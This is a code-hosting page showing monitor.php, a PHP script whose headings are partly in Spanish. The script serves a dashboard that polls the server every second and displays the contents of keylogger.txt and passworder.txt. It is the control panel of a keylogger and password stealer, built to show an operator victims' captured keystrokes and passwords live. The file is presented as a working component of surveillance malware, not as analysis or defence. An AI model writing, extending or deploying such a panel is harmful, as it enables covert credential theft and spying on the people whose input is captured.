-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmonitor.php
73 lines (65 loc) · 2.15 KB
/
monitor.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
if (isset($_GET['keyloggerdata'])) {
$homepage = file_get_contents('keylogger.txt');
echo $homepage;
}
elseif (isset($_GET['passwordsdata'])) {
$homepage = file_get_contents('passworder.txt');
$homepage = nl2br($homepage);
echo $homepage;
} else {
?>
<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"
integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Monitor</title>
<style>
html,
body {
height: 95%;
background-color: #000;
}
.contenedor {
height: 30%;
background-color: #6A737C;
margin: 1% 1%;
color: lime;
font-size: 120%;
}
</style>
<script>
function reloadData() {
$.get("monitor.php", {
keyloggerdata: true
}, function(data) {
$("#klgdata").html("")
$("#klgdata").html(data);
});
$.get("monitor.php", {
passwordsdata: true
}, function(data) {
$("#pwdsdata").html("")
$("#pwdsdata").html(data);
});
}
setInterval(function(){ reloadData(); }, 1000);
</script>
</head>
<body>
<h1 style="color:whitesmoke;font-family:candara;text-align:center">Contraseñas:</h1>
<div class="contenedor">
<div id="pwdsdata" style="width: 100%;font-size:150%;font-family:verdana">Loading...</div>
</div>
<h1 style="color:whitesmoke;font-family:candara;text-align:center">Keylogger:</h1>
<div class="contenedor">
<div id="klgdata" style="width: 100%;font-size:150%;font-family:verdana">Loading...</div>
</div>
</body>
</html>
<?php
}
?>